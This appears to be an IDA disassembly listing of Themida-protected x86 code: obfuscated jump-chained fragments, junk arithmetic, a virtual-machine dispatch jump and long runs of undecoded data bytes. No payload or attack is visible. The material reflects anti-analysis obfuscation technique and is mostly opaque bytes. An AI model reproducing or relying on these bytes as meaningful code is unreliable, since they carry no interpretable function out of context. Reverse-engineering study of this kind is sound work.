		dd 4EC836Dh, 83241489h,	3C8904ECh, 3D8BE924h, 0C1800000h
		dd 0C0C9FE3Dh, 0B3E904E1h, 81000024h, 0EF4C59E9h, 59CD0114h
		dd 4C581h, 0E9550000h, 4373h, 0AA2462BEh, 46D6F72Ch, 0FFF96FE9h
		dd 6E956FFh, 0ADFFFFC4h, 0B951D831h, 53DA1ED8h,	270F181h
		dd 0E981546Eh, 0A4F55894h, 65C0BF57h, 82E9182Dh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D91B:				; CODE XREF: Themida_:005504B7j
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		dd 0E9D8295Ch, 0FFFFEAB1h, 67214EBFh, 0E9F9091Fh, 0FFFFE096h
		dd 0C5E95166h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D93B:				; CODE XREF: Themida_:00552474j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54992C
; ---------------------------------------------------------------------------
		dd 0CCB60F66h, 4EC81h, 34890000h, 815E5424h, 4C6h, 4EC8300h
		dd 516E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D96D:				; CODE XREF: Themida_:0054E03Fj
		mov	ecx, 4B74386Ah
		mov	eax, ecx
		pop	ecx
		sub	eax, 4B743866h
		jmp	loc_551C04
; ---------------------------------------------------------------------------


loc_54D97F:				; CODE XREF: Themida_:00552611j
		mov	edi, esp
		jmp	loc_54EAF9
; ---------------------------------------------------------------------------
aBUZ_zsb	db ')ж│ф⌠[╖_ZИ│#',0
		align 4
		dd 0C1B951ADh, 10C7242h, 240C8BC8h, 5304C483h, 0FFA005E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D9A9:				; CODE XREF: Themida_:005507E5j
		mov	[esp], ebx
		jmp	loc_54D59E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 89243489h,	0AB6FE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D9C2:				; CODE XREF: Themida_:00546BC6j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 270E0B22h
		dec	eax
		sub	eax, 0F9C9EDF0h
		or	ebp, eax
		jmp	loc_550658
; ---------------------------------------------------------------------------
		dd 4BDh, 0E9EF0100h, 0FFFF9DBEh
; ---------------------------------------------------------------------------


loc_54D9E8:				; CODE XREF: Themida_:00547C73j
		push	esi
		mov	esi, 23942296h
		shl	esi, 3
		jmp	loc_54F900
; ---------------------------------------------------------------------------
		dw 0E921h
		dd 0FFCC43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D9FD:				; CODE XREF: Themida_:005487D2j
		add	bl, ah
		jmp	loc_54C4BC
; ---------------------------------------------------------------------------
		dd 0CA69E958h, 0C481FFFFh, 4, 70B55150h, 0FFBB22E9h, 0C8966FFh
		dd 0EB72E924h, 0AEE9FFFFh, 8BFFFF8Bh, 0D8E92424h, 5AFFFFECh
		dd 768068h, 24148900h, 0D5020CBAh, 182F0570h, 83572616h
		dd 1C8904ECh, 1A2BBB24h, 0DF89055Fh, 16CBE95Bh,	0EE800000h
		dd 5AF3286Bh, 8097C380h, 0B60FC5EBh, 87048DC0h,	4848E9h
		dd 4ABA5200h, 1382A29h,	0E9C15AD1h, 6E1C103h, 5EF4BA52h
		dd 81423FB1h, 2F139BF2h, 9E28142h, 0D125AB25h, 3DE942E2h
		dd 83FFFFBEh, 3C8904ECh, 27BD5524h, 0E947EC53h,	2583h
		dd 3D45C681h, 0C6017D0Fh, 7404BD55h, 0DDF739FAh, 0B6B9F581h
		dd 0EE29BB0Ah, 0FFCAA8E9h, 0B3E956FFh, 0B5000038h, 4E5C0ECh
		dd 0C5FEDDF6h, 28C9ED80h, 0B25259E8h, 0F6CAFE95h, 80C2FEDAh
		dd 9AE9ACEAh, 87FFFFA4h, 0CF87243Ch, 0FFEA8BE9h, 0C681FFh
		dd 0E9E1D438h, 0FFFFB774h, 53240C8Bh, 0FFED98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DB09:				; CODE XREF: Themida_:0054A63Bj
		add	ecx, 4
		push	esi
		mov	esi, 50B64A7h
		add	esi, 5ADE25E6h
		push	eax
		mov	eax, 5FE98A89h
		sub	esi, eax
		mov	eax, [esp]
		jmp	loc_5481EB
; ---------------------------------------------------------------------------
		db 41h
		dd 0E903E1C1h, 0FFFFC70Eh, 8B241C87h, 2C812424h, 6740E524h
		dd 0F9BA525Bh, 29624B50h, 0E9042454h, 0
		dd 242C815Ah, 361C20BEh, 0FFD70FE9h, 43E950FFh,	5100001Ch
		dd 0B850E189h, 5E16451Fh, 451BBA52h, 0D0295E16h, 58C1015Ah
		dd 4E981h, 0C870000h, 1C895C24h, 2FE95424h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB8B:				; CODE XREF: Themida_:0054B40Aj
		sub	ecx, 5EC11CF5h
		add	ecx, 22F021B8h
		add	ecx, edi
		sub	ecx, 22F021B8h
		add	ecx, 5EC11CF5h
		pop	edi
		jmp	loc_54E523
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2D31592Ch, 0FFE683E9h, 2434FFFFh, 0FFB517E9h, 0CD685BFFh
		dd 8900004Dh, 4B02404h,	48BC700h, 8B545124h, 2CE9240Ch
		dd 0FF00001Ch, 0C1E92434h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54DBDF:				; CODE XREF: Themida_:00547C85j
		mov	edi, 54BC6D43h
		inc	edi
		not	edi
		and	edi, 7A6C4BA8h
		jmp	loc_54C53E
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 1458161Ch, 0A73BED81h, 0E9098BE4h, 25DFE95Dh, 89660000h
		dd 50662414h, 0F970E99Ch, 3C89FFFFh, 2474FF24h,	243C8B04h
		dd 4C481h, 0FBE90000h, 68FFFFBEh, 1FAC7A42h, 0FFAD6DE9h
		dd 0ECE959FFh, 81FFFFB0h, 4EEh,	24348700h, 8924248Bh, 48B2434h
		dd 1A68E924h, 0C4830000h, 0C3015A04h, 29E268h, 242C8900h
		dd 0ED48F3BDh, 3C3810Dh, 8101BA1Ah, 84345EBh, 81EB293Ah
		dd 84345C3h, 3EB813Ah, 0FF01BA1Ah, 815D2434h, 4C4h, 8F6600h
		dd 0FF8948E9h, 81FE01FFh, 0D56EEEEh, 0B8505F6Bh, 2, 39F9C681h
		dd 0C6010DA6h, 39F9EE81h, 48B0DA6h, 0E1895124h,	0FF8B2BE9h
		dd 8951ACFFh, 4C181E1h,	52000000h, 4BAh, 9AC18100h, 297D2102h
		dd 93AFE9D1h, 2489FFFFh, 24048124h, 4, 5457515Bh, 4C04E9h
		dd 2434FF00h, 0E924048Bh, 983h,	0D81AEE81h, 0F201B220h
		dd 0FFB3B4E9h, 0BAE981FFh, 313E5268h, 240C8BC8h, 0E904C483h
		dd 270Eh, 4BD55h, 0EF810000h, 3D1D2974h, 0FF9151E9h, 24248BFFh
		dd 0FF243C89h, 0E9042474h, 0FFFFAE7Fh
; ---------------------------------------------------------------------------


loc_54DD30:				; CODE XREF: Themida_:0054B1ADj
		sub	ebp, 1EF14FE4h
		jmp	loc_54B309
; ---------------------------------------------------------------------------
		db 58h
		dd 89EB8953h, 0ECE95BDEh, 81FFFFAAh, 0A31020C7h, 5DF7812Bh
		dd 29306D05h, 0EE29E9F8h, 0E381FFFFh, 38CF689Ch, 5139F381h
		dd 0D8294E65h, 27F2685Bh, 1C890000h, 3710E924h,	48B0000h
		dd 9224E924h, 3433FFFFh, 0DBE95C24h, 83FFFF9Ch,	148704C2h
		dd 0E6685C24h, 8900007Dh, 0E189240Ch, 3079E9h, 87EB8000h
		dd 809BE380h, 0D820D4C3h, 66D0F65Bh, 0B5516653h, 2D0FE990h
		dd 0E5890000h, 4B850h, 0BE560000h, 6F83C8Fh, 4060C681h
		dd 0D6F71CF2h, 5108EEC1h, 3216C9B9h, 7E1C10Bh, 8105E9C1h
		dd 0D5671BE9h, 8141493Ch, 5EDEC6E9h, 0D4C0E9AFh, 0C7FEFFFFh
		dd 80BBC780h, 0F830F6EFh, 0FFD7E4E9h, 241C89FFh, 0E9C78957h
		dd 4657h, 4B8h,	0B863E900h, 3489FFFFh, 34FF5424h, 0C4835E24h
		dd 1FF86804h, 2C890000h, 4BD24h, 0EE010000h, 0FFD15AE9h
		dd 241CF7FFh, 879BE99Ch, 835CFFFFh, 0C8704C4h, 0D3CFE924h
		dd 0C281FFFFh, 4, 0E902EA83h, 0FFFFDB85h, 9DE68h, 9951E900h
		dd 0DDF6FFFFh, 0EF885366h, 0FD88C7FEh, 0ED805B66h, 2CF5809Ch
		dd 8B59E800h, 0C483241Ch, 0FC33004h, 0E6E9C0B6h, 89FFFFE1h
		dd 0C4BA2414h, 564AB315h, 5C4025BEh, 4577E919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DE96:				; CODE XREF: Themida_:00548724j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_549E77
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704C283h, 0C15C2414h, 0EC8102E5h, 4, 87242C89h
		dd 0D0F72404h, 5D240487h, 240CFF55h, 0F0ED815Dh, 0E9039362h
		dd 0FFFFCD15h, 0E92434FFh, 0FFFFC7B4h, 34FF5456h, 0C4815E24h
		dd 4, 4EC81h, 4890000h,	4B824h,	0EE810000h, 73F65D2Fh
		dd 9CAE9h, 5AF00000h, 803CB652h, 0EEC091EEh, 45F68007h
		dd 0FFCD11E9h, 8E2C0FFh, 49E568h, 9E90E900h, 0D1F7FFFFh
		dd 42E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DF2D:				; CODE XREF: Themida_:00549BE4j
		push	ecx
		jmp	loc_552245
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C38143DBh, 8E88914Fh, 0BE5BD989h, 0F0F32FDh, 0C8BCE31h
		dd 4C48124h, 0E9000000h, 0FFFFD882h, 2158C231h,	9CEAE9D1h
		dd 2C89FFFFh, 49BB5324h, 0E96D4E71h, 4837h
; ---------------------------------------------------------------------------


loc_54DF6C:				; CODE XREF: Themida_:00549297j
		xchg	ecx, [esp]
		jmp	loc_550C22
; ---------------------------------------------------------------------------


loc_54DF74:				; CODE XREF: Themida_:00550172j
		sub	eax, ebx
		add	eax, 22424DA6h
		pop	ebx
		shl	eax, cl
		push	442Ch
		mov	[esp], esi
		push	20E4h
		jmp	loc_54BBE1
; ---------------------------------------------------------------------------
		dd 4C481h, 2AE90000h, 83FFFF99h, 5F042404h, 2B95E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DFA5:				; CODE XREF: Themida_:00549E84j
		mov	[esp], esi
		push	edx
		mov	edx, 2A00CACh
		jmp	loc_55225B
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95602C6h, 2ABh, 8904EC83h,	0E954241Ch, 0FFFFB3E3h
		dd 0F780C7FEh, 0A389E960h, 5059FFFFh, 42474FFh,	24048F58h
		dd 6624248Bh, 2404AB0Fh, 410FE99Ch, 0DA010000h,	0E9241C8Bh
		dd 8CAh
; ---------------------------------------------------------------------------


loc_54DFF4:				; CODE XREF: Themida_:005505AEj
		add	edx, 712433C8h
		jmp	loc_551883
; ---------------------------------------------------------------------------


loc_54DFFF:				; CODE XREF: Themida_:00547CE6j
		mov	ecx, 37DE1B1Ch
		not	ecx
		not	ecx
		and	ecx, 58F8362Eh
		not	ecx
		sub	ecx, 9FDBD6D1h
		jmp	loc_54A43F
; ---------------------------------------------------------------------------


loc_54E01B:				; CODE XREF: Themida_:0054E9A4j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	39FCh
		mov	[esp], esi
		push	6F53h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	eax
		push	ecx
		jmp	loc_54D96D
; ---------------------------------------------------------------------------


loc_54E044:				; CODE XREF: Themida_:0054D3A6j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551AAB
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 4F46h, 37F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E05D:				; CODE XREF: Themida_:0054EEF2j
		add	eax, 0C4E6CFEDh
		sub	ebx, 4DF176A7h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7854282h
		add	ebx, esi
		pop	esi
		add	ebx, eax
		push	ecx
		mov	ecx, 7854282h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55060E
; ---------------------------------------------------------------------------
		db 58h,	87h, 1Ch
		dd 24248B24h, 48ACBD55h, 2C2D709Bh, 290A3F6Fh, 6F2C05E8h
		dd 515D0A3Fh, 6853E189h, 2E4006C8h, 0C003E95Bh,	0C821FFFFh
		dd 0FFBC84E9h, 0CD8955FFh, 595DEB89h, 74AEF381h, 0D80156EDh
		dd 4BF575Bh, 29000000h,	1269E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E0D6:				; CODE XREF: Themida_:0054A7E8j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_548E2A
; ---------------------------------------------------------------------------
		db 1, 0D6h, 5Ah
		dd 4B951h, 39E90000h, 81FFFFF6h, 4C4h, 5EF20100h, 5C241487h
		dd 68F9F766h, 6F3h, 89243C89h, 7BBA52E7h, 812CF03Bh, 7D7282CAh
		dd 0F7EA814Bh, 16FFD7Bh, 0E7685AD7h, 0E9000001h, 2581h
; ---------------------------------------------------------------------------


loc_54E138:				; CODE XREF: Themida_:00549FF2j
		sub	edx, 35762549h
		pop	ebp
		jmp	loc_54E99B
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF8488E9h, 73BA52FFh, 0E9046938h, 43C3h
		dd 0E924248Bh, 0FFFFD450h, 4BB53h, 0DE290000h, 2434875Bh
		dd 243C895Ch, 2BFh, 0DFC38100h,	13CC978h, 0DFEB81FBh, 0E93CC978h
		dd 228Bh, 48B665Ch, 0EC815324h,	4, 81242489h, 42404h, 815B0000h
		dd 4C3h, 4EC8300h, 0BA241489h, 4, 79CDEB81h, 0C7E9289Eh
		dd 87FFFFDAh, 0E5E92434h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E1C3:				; CODE XREF: Themida_:00548B21j
		or	ecx, 206511F9h
		push	eax
		jmp	loc_54E2E7
; ---------------------------------------------------------------------------
		db 83h
		dd 0A6E904C1h, 53FFFFBBh, 0A6298BBh, 0BE35E91Eh, 0E955FFFFh
		dd 22D4h, 24BB53h, 0C3810000h, 45254358h, 37B6C381h, 0FB0112EAh
		dd 37B6EB81h, 0EB8112EAh, 45254358h, 0FFE34CE9h, 0B4505AFFh
		dd 4EC80CCh, 7D4A68h, 240C8900h, 0CDFE28B5h, 0FFB8A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E225:				; CODE XREF: Themida_:00551D8Aj
		neg	ecx
		add	ecx, 41A652A6h
		push	eax
		mov	eax, ecx
		jmp	loc_55292A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 3D6D0EB8h, 321A685Dh, 34890000h, 1296BE24h
		dd 0F3011F8Ah, 0E9C3295Eh, 0FFFF9A32h
; ---------------------------------------------------------------------------


loc_54E258:				; CODE XREF: Themida_:0054A6C8j
		mov	edi, 3CDA6A99h
		push	58B1h
		jmp	loc_54F5A6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4832434h, 1CBDE904h, 34FF0000h,	2434FF24h
		dd 0E5A1E958h, 535BFFFFh, 0C3815B54h, 4, 0FFE1DFE9h, 4C481FFh
		dd 53000000h, 2B10E9h, 8BC60100h, 0C4832404h, 24343304h
		dd 33243431h, 505C2434h, 277AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E2B5:				; CODE XREF: Themida_:00547DE7j
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	57CC593Bh
		mov	edi, [esp]
		add	esp, 4
		add	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 57C4593Ah
		push	ebp
		mov	ebp, 42366F33h
		jmp	loc_54FA47
; ---------------------------------------------------------------------------
		dd 65E95452h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E2E7:				; CODE XREF: Themida_:0054E1CAj
		mov	eax, 1
		add	ecx, eax
		pop	eax
		add	ecx, 9F908C05h
		jmp	loc_54B2F9
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 246A7195h, 89E98951h, 815D59CFh, 0C64EC4C3h,	81FB014Dh
		dd 0C64EC4EBh, 243C8B4Dh, 3304C483h, 1C31241Ch,	241C3324h
		dd 680E9h, 0E9E82000h, 0FFFFEAC0h
; ---------------------------------------------------------------------------


loc_54E330:				; CODE XREF: Themida_:0054C81Ej
		add	ecx, edi
		jmp	loc_54B739
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BB53D8F7h, 0AA7DB2h, 0E95BD809h, 0FFFFD1F6h, 0E92434FFh
		dd 0FFFF9E7Fh, 240C8B66h, 145C68h, 241C8900h, 570B68h
		dd 0F96CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E366:				; CODE XREF: Themida_:0054C8F8j
		push	dword ptr [esp+4]
		jmp	loc_5471CB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 4C781h, 0C7810000h, 2, 81E68956h, 4C6h
		dd 4EE8300h, 0E9243487h, 0FFFFF989h, 2C0AED80h,	78047Dh
		dd 4EC83E8h, 0E9240C89h, 0FFFFF71Fh
; ---------------------------------------------------------------------------


loc_54E3AC:				; CODE XREF: Themida_:0054EA04j
		mov	eax, 4B254D18h
		push	esi
		jmp	loc_54968C
; ---------------------------------------------------------------------------


loc_54E3B7:				; CODE XREF: Themida_:0054F7EFj
		add	ecx, 0FFFFFFFFh
		xor	ecx, 6C2F6ED5h
		add	ebp, 4984C7Eh
		sub	ebp, 5DE43C70h
		add	ebp, ecx
		jmp	loc_549020
; ---------------------------------------------------------------------------
		db 66h
		dd 0E8EB805Bh, 80CEEB80h, 0C32854C3h, 5254EB80h, 0CBB68h
		dd 24048900h, 0E288D1B4h, 60B35358h, 0E95BDA00h, 0FFFFC483h
		dd 405E089h, 0E9000000h, 0FFFFB311h, 0FF81C8E9h, 24248BFFh
		dd 0FF81C0E9h, 0DBF74BFFh, 0C381DBF7h, 0DFFDEB61h, 815BDE01h
		dd 4C6h, 24348700h, 440A685Ch, 4890000h, 819BE924h, 0E830FFFFh
		dd 240C8B66h, 0FF85BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E445:				; CODE XREF: Themida_:00550672j
		push	3CAh
		mov	[esp], edx
		jmp	loc_5490C7
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 354364BEh, 300AC181h, 56E945ECh, 66FFFFFCh, 6824048Bh
		dd 743h, 0E9242C89h, 0FFFFE53Ah, 5C240C87h, 0F187E952h
		dd 0CB81FFFFh, 34E6121Bh, 4983C381h, 0C3817411h, 74F39221h
		dd 243C8B53h, 4C481h, 16E90000h, 0F700001Bh, 87BF57D2h
		dd 815EF81Dh, 4381DF7h,	7E7C16Bh, 387C781h, 0C7811A0Dh
		dd 131B7D7Bh, 8AB3EF81h, 0EA813FCBh, 44A912E6h,	0EAE9FA01h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E4CF:				; CODE XREF: Themida_:0055125Ej
		pop	edx
		xor	eax, 764C10CAh
		not	eax
		neg	eax
		neg	eax
		sub	eax, 600D41EDh
		add	eax, 0DD054EABh
		jmp	loc_54F094
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 83000000h,	0B5E902C5h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E4FB:				; CODE XREF: Themida_:00549AA4j
		inc	ecx
		or	ecx, 2AF20203h
		xor	ecx, 207D6D37h
		mov	edi, ecx
		pop	ecx
		jmp	loc_54AD7A
; ---------------------------------------------------------------------------
		dd 5FFA3158h, 37E9D031h, 0C0FFFFDAh, 8FE903E6h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E523:				; CODE XREF: Themida_:0054DBA6j
		push	ebx
		jmp	loc_549EE4
; ---------------------------------------------------------------------------
		db 0ADh, 68h, 2
		dd 89000033h, 1CBE2434h, 296DAE70h, 2434FFF0h, 42C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E541:				; CODE XREF: Themida_:0054B0B0j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		dd 0FE03EAC0h, 2BD6E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E55A:				; CODE XREF: Themida_:00552343j
		xor	ebp, 7007711h
		inc	ebp
		xor	ebp, 5AAE1771h
		xor	ecx, ebp
		pop	ebp
		and	ecx, 44AA249Fh
		jmp	loc_54A0E0
; ---------------------------------------------------------------------------
		db 5, 0B0h, 45h
		dd 0D80138B2h, 0B245B02Dh, 74AF0538h, 335B3AFDh, 4312404h
		dd 24043324h, 6624248Bh, 0E9C8BE0Fh, 0FFFFD990h, 33243C31h
		dd 895C243Ch, 2434FFD0h, 4C4815Ah, 81000000h, 4ECh, 24148900h
		dd 385BD3BAh, 4E2C173h,	4601CA81h, 0E2D1256Fh, 6843CA81h
		dd 0B850277Ch, 2CE01337h, 0B951D8F7h, 0EB81EDFh, 0FFF71CE9h
		dd 0D4F659FFh, 5066E386h, 0C1E901B4h, 8BFFFFDDh, 0C4832414h
		dd 5F545704h, 4C781h, 0BA520000h, 3E102666h, 0F281D2F7h
		dd 0C1EFD99Dh, 875AD701h, 248B243Ch, 865CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E61A:				; CODE XREF: Themida_:0054FB73j
		pop	ecx
		sub	ecx, 722E0A07h
		add	ecx, edi
		jmp	loc_551CCC
; ---------------------------------------------------------------------------
		dd 6D7068h, 9A39E900h, 8956FFFFh, 4C681E6h, 0E9000000h
		dd 0FFFFCD1Ah, 605C6857h, 1C890000h, 0C63BB24h,	0CB817A29h
		dd 1B5E1305h, 8106E3C1h, 0AAC400EBh, 348153BCh,	911EA224h
		dd 3E95F37h, 4BFFFF90h,	0E7E9D3F7h, 68FFFFF6h, 2BDh, 89240C89h
		dd 0D5E955E1h, 8BFFFF99h, 5456241Ch, 66B9515Eh,	0E909403Dh
		dd 82Dh, 4C281h, 0C2830000h, 24148704h,	2CCA815Ch, 5344D12Dh
		dd 205037BBh, 18E95605h, 0FFFFFF85h, 8B042474h,	0E9572434h
		dd 0FFFF9BE0h, 0E904EF83h, 1AAFh, 0E907E3C1h, 0F23h
; ---------------------------------------------------------------------------


loc_54E6D0:				; CODE XREF: Themida_:0054A1B5j
		pop	ecx
		shr	ebx, 1
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		add	ebx, 0A2747A1h
		jmp	loc_54BF35
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 5AAh, 45E9E788h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E6F3:				; CODE XREF: Themida_:0054C5A2j
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_54832F
; ---------------------------------------------------------------------------


loc_54E70D:				; CODE XREF: Themida_:0054ADB5j
		mov	[esp], ebp
		push	3E322ABEh
		pop	ebp
		shl	ebp, 3
		xor	ebp, 0F19155F1h
		mov	esi, ebp
		pop	ebp
		mov	ebp, esi
		pop	esi
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 71383975h
		jmp	loc_547340
; ---------------------------------------------------------------------------
		db 81h
		dd 592D81C6h, 81DE2933h, 592D81EEh, 241C8B33h, 8B04C483h
		dd 0C483241Ch, 2BD5504h, 29000000h, 0EAFCE9EEh,	515BFFFFh
		dd 0FF8EC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E769:				; CODE XREF: Themida_:0054B267j
		pop	esi
		add	ecx, 4
		push	7CE1h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_551194
; ---------------------------------------------------------------------------


loc_54E78A:				; CODE XREF: Themida_:0054C5B2j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_550057
; ---------------------------------------------------------------------------
		db 2Dh
		dd 113D056Dh, 6CFCBF57h, 0EF81092Eh, 7362865Fh,	0FFD519E9h
		dd 240C8BFFh, 81E38953h, 4C3h, 3CBFE900h, 5FF70000h, 246F8124h
		dd 806391C0h, 0E92447FFh, 0FFFFFA1Ch, 6856E389h, 7CFDh
		dd 68243C89h, 6DF97431h, 0B46DE95Fh, 5566FFFFh,	1F9CBD66h
		dd 66EB2966h, 0C0B70F5Dh, 36686866h, 24048966h,	0FF7DD8E9h
		dd 2434FFFFh, 83240C8Bh, 3B6804C4h, 89000065h, 0B9E9241Ch
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E813:				; CODE XREF: Themida_:0054C4C0j
		add	esp, 4
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 32FF66C3h, 0FF954EE9h, 4EC81FFh, 89000000h, 2ABF243Ch
		dd 8922D51Ah, 9EE95FFDh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E83F:				; CODE XREF: Themida_:00548985j
		mov	bl, 17h
		sub	dh, bl
		jmp	loc_550FCA
; ---------------------------------------------------------------------------
		dd 0B1E9BD55h, 0EA011CDEh, 8BD0315Dh, 0A1682414h, 89000007h
		dd 0E589242Ch, 4C581h, 0C5810000h, 4, 2474FF55h, 0A712E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E876:				; CODE XREF: Themida_:0054756Bj
		add	eax, 769A35EAh
		add	eax, ecx
		sub	eax, 769A35EAh
		sub	eax, 63111B90h
		mov	ecx, [esp]
		jmp	loc_55038D
; ---------------------------------------------------------------------------
		db 0B7h
		dd 88B4E91Fh, 0C281FFFFh, 4, 8704EA83h,	895C2414h, 34FF2404h
		dd 0C422E924h, 0AE68FFFFh, 0E900006Dh, 619h, 857BE958h
		dd 0C481FFFFh, 4, 2474FF52h, 0F3E95A04h, 1FFFFD7h, 0D588E9C6h
		dd 48BFFFFh, 929DE924h,	6652FFFFh, 0E97FE568h, 0FFFFA8B1h
		dd 240C8B66h, 98C6E955h, 0FD58FFFFh, 0E87D5068h, 0E9C15932h
		dd 7E86808h, 57E90000h,	5AFFFFF6h, 4BD55h, 0E9010000h
		dd 240C875Dh, 0FFEB5DE9h, 240C31FFh, 0E9240C33h, 5E1h
		dd 2A1AE958h, 0DE680000h, 8900002Fh, 4832424h, 5580424h
		dd 4, 46853h, 55B0000h,	633546F2h, 0F22DD801h, 5B633546h
		dd 0FF7FF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E955:				; CODE XREF: Themida_:0054A7B0j
		add	esp, 4
		push	7111h
		mov	[esp], edi
		jmp	loc_5509E5
; ---------------------------------------------------------------------------


loc_54E968:				; CODE XREF: Themida_:0054C483j
		pop	ebx
		add	eax, edx
		pop	edx
		jmp	loc_5520FE
; ---------------------------------------------------------------------------


loc_54E971:				; CODE XREF: Themida_:0054CFC8j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	41A652A7h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551D84
; ---------------------------------------------------------------------------
		dd 0F2E9D586h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E99B:				; CODE XREF: Themida_:0054E13Fj
		xchg	edx, [esp]
		pop	esp


loc_54E99F:				; CODE XREF: Themida_:0054FF6Bj
		push	5FC9h
		jmp	loc_54E01B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C2404D3h, 0FF7C20E9h, 8F8BDFFh, 0E9317770h,	83242C8Bh
		dd 0C18104C4h, 2E570C0Dh, 755BF181h, 0CB011FA7h, 81240C8Bh
		dd 4C4h, 0BE565500h, 0C2808EBh,	0FF8EA7E9h, 243487FFh
		dd 88DCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E9EE:				; CODE XREF: Themida_:0054D0D4j
		add	bl, dh
		sub	bl, 38h
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	42F7h
		mov	[esp], ebp
		push	eax
		jmp	loc_54E3AC
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 0C4815E24h, 4, 4BA52h, 0D6010000h, 4BA525Ah,	0E9000000h
		dd 30D6h, 2BBh,	74AF2D00h, 3EE93AFDh, 81FFFFFBh, 0A72AE8C6h
		dd 66EE810Fh, 5F774566h, 8B243487h, 0E8C12424h,	50C83108h
		dd 33242C31h, 2C31242Ch, 56F58724h, 0FF9597E9h,	0E28952FFh
		dd 4C281h, 0CEE90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EA6F:				; CODE XREF: Themida_:005466FEj
		mov	esp, [esp]
		push	small 68ACh
		mov	[esp], cx
		jmp	loc_54A31F
; ---------------------------------------------------------------------------


